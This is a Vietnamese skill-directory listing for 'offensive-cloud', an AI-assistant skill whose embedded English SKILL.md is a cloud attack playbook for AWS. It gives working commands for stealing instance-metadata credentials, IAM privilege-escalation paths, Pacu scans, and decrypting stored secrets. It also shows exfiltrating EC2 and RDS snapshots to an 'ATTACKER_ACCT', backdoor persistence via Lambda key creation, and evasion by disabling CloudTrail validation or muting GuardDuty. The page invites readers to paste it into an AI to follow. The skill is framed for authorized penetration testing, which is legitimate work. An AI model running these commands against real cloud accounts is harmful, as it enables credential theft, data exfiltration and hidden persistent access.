Chuyển đến nội dung
Skillpedia
Bảo mật10k · #11950

offensive-cloud

Skill này làm gì

Skill này là phương pháp kiểm thử bảo mật được ủy quyền cho môi trường AWS, Azure và GCP. Nó bao quát tìm kiếm thông tin xác thực, công cụ liệt kê đám mây, đường leo quyền và duy trì truy cập. Nó dành cho chuyên gia bảo mật có văn bản cho phép kiểm thử một tài khoản đám mây.

Khi nào nên dùng

  • ✓Khi bạn kiểm thử một tài khoản AWS, Azure hoặc GCP trong một bài kiểm thử xâm nhập được ủy quyền.
  • ✓Khi bạn muốn ánh xạ quyền của một danh tính đám mây tới các đường leo quyền đã biết.
  • ✓Khi bạn cần kiểm tra metadata của instance hoặc thông tin xác thực đã lưu như một phần của đánh giá đám mây được ủy quyền.

Liên kết skill

https://github.com/SnailSploit/Claude-Red/blob/main/Skills/cloud/offensive-cloud/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/SnailSploit/Claude-Red/blob/main/Skills/cloud/offensive-cloud/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Chúng tôi có văn bản cho phép kiểm thử tài khoản AWS của mình. Kiểm tra vai trò hiện tại có thể truy cập gì và có đường leo quyền nào không.”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Skill bắt đầu bằng việc xác định danh tính đám mây và liệt kê quyền của nó mà không thay đổi gì. Sau đó nó ánh xạ các quyền đó tới các nguyên thủy leo quyền đã biết và ghi lại phát hiện kèm dấu thời gian.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

Cloud (AWS / Azure / GCP) — Offensive Testing Methodology

Quick Workflow

  1. Identify the cloud and the identity context you have (user, role, service account, instance role)
  2. Enumerate without writes — aws sts get-caller-identity, az account show, gcloud auth list
  3. Map permissions to known privilege-escalation primitives (PassRole, Owner, etc.)
  4. Find the data and the persistence anchors before alarms fire
  5. Document the kill chain with timestamps, identities, and resources for the report

AWS

Identity Discovery

aws sts get-caller-identity
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | awk -F/ '{print $NF}')
aws iam list-attached-role-policies --role-name <role>
aws iam simulate-principal-policy --policy-source-arn $(aws sts get-caller-identity --query Arn --output text) \
  --action-names "*"

IMDS Credential Theft

# IMDSv1 (legacy)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>

# IMDSv2 (modern, requires token)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

From SSRF, IMDSv2 was historically reachable when the SSRF allowed setting custom headers. Modern AWS denies SSRF without Host: 169.254.169.254 and proper PUT-then-GET flow — SSRF in 2024+ rarely yields IMDSv2 unless the proxy reflects custom headers.

Privilege Escalation Paths

Path Required Permission Outcome
iam:PassRole + lambda:CreateFunction Pass any role to Lambda you create Run code as that role
iam:PassRole + ec2:RunInstances Pass any role to EC2 instance IMDS → role creds
iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion Edit your own policy Self-elevate
iam:UpdateAssumeRolePolicy On a privileged role Add yourself as principal
iam:CreateLoginProfile (on user without one) Set console password Console access
iam:CreateAccessKey (on another user) Mint keys for someone else Persistent access
sts:AssumeRole with sts:TagSession to ABAC role If role trusts session tags Tag-based escalation
cloudformation:CreateStack + permissive role Run any service action Indirect arbitrary perms
glue:UpdateDevEndpoint Inject SSH key into Glue endpoint Code exec as Glue role
ssm:SendCommand to any instance RCE on instances + their roles Lateral + escalation
# Pacu — the tooling for AWS escalation
pacu
> import_keys default
> run iam__enum_permissions
> run iam__privesc_scan

Cross-Account / Organization

# Find roles trusting the current account
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument!=null]'
# Then grep AssumeRolePolicyDocument.Statement for trusts to your account

# Org-wide (if Organizations access)
aws organizations list-accounts
aws organizations list-roots

Data Targets

# S3
aws s3api list-buckets
aws s3 ls s3://<bucket> --recursive | head
aws s3api get-bucket-policy --bucket <bucket>

# Cross-region snapshot share (data exfil without S3)
aws ec2 modify-snapshot-attribute --snapshot-id snap-... \
  --attribute createVolumePermission \
  --create-volume-permission "Add=[{UserId=ATTACKER_ACCT}]"

# RDS snapshot share
aws rds modify-db-snapshot-attribute --db-snapshot-identifier mysnap \
  --attribute-name restore --values-to-add ATTACKER_ACCT

# Secrets Manager / Parameter Store
aws secretsmanager list-secrets
aws ssm get-parameters-by-path --path / --recursive --with-decryption

Persistence

# Cross-account SCP exemption via service-linked role
# AWS Config snapshot delivery channel rerouted to attacker bucket
aws configservice put-delivery-channel ...  # Rare but devastating

# EventBridge rule firing Lambda you control on every IAM change
# Backdoor: Lambda creates an access key for any new admin user

Detection Evasion

  • CloudTrail to multi-region with log file validation — disable validation if you have perms
  • GuardDuty findings can be muted via update-findings-feedback if you have the permission (rare in prod)
  • VPC Flow Logs only catch IP traffic; control-plane API calls are CloudTrail-only

Azure

Identity Discovery

az account show
az ad signed-in-user show
Câu hỏi thường gặp

Nó có thay đổi gì trên đám mây không?

Skill bắt đầu bằng liệt kê chỉ đọc, và nó giữ bản ghi các hành động đã thực hiện.

Nó nhắc tới những công cụ nào?

Nó nhắc tới các công cụ như Pacu, ScoutSuite, Prowler và ROADtools.

Đây có chỉ dành cho kiểm thử được ủy quyền không?

Có. Skill được viết cho các đánh giá được ủy quyền có phạm vi xác định.

Chi tiết

Mô tả gốc của tác giả

Cloud security attack methodology covering AWS, Azure, and GCP. Includes credential harvesting (IMDS, ~/.aws, env vars, leaked CI secrets, instance roles), enumeration with cloud-specific tools (pacu, ScoutSuite, Prowler, ROADtools, gcp_enum), privilege escalation paths (IAM PassRole, AssumeRole chains, Lambda/Functions privilege flips, Azure Owner-on-self, GCP serviceAccountTokenCreator), persistence techniques (IAM user/key creation, AAD app registration, GCP svc account key creation, EventBridge/Logic Apps backdoors), data exfiltration (S3/Blob/GCS, snapshot share, RDS/CosmosDB/Cloud SQL ex

repo: SnailSploit/Claude-Red

Độ phổ biến

Sao GitHub
10k
Vị trí xếp hạng
#11950
Giấy phép
MIT
Cập nhật
12/10/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự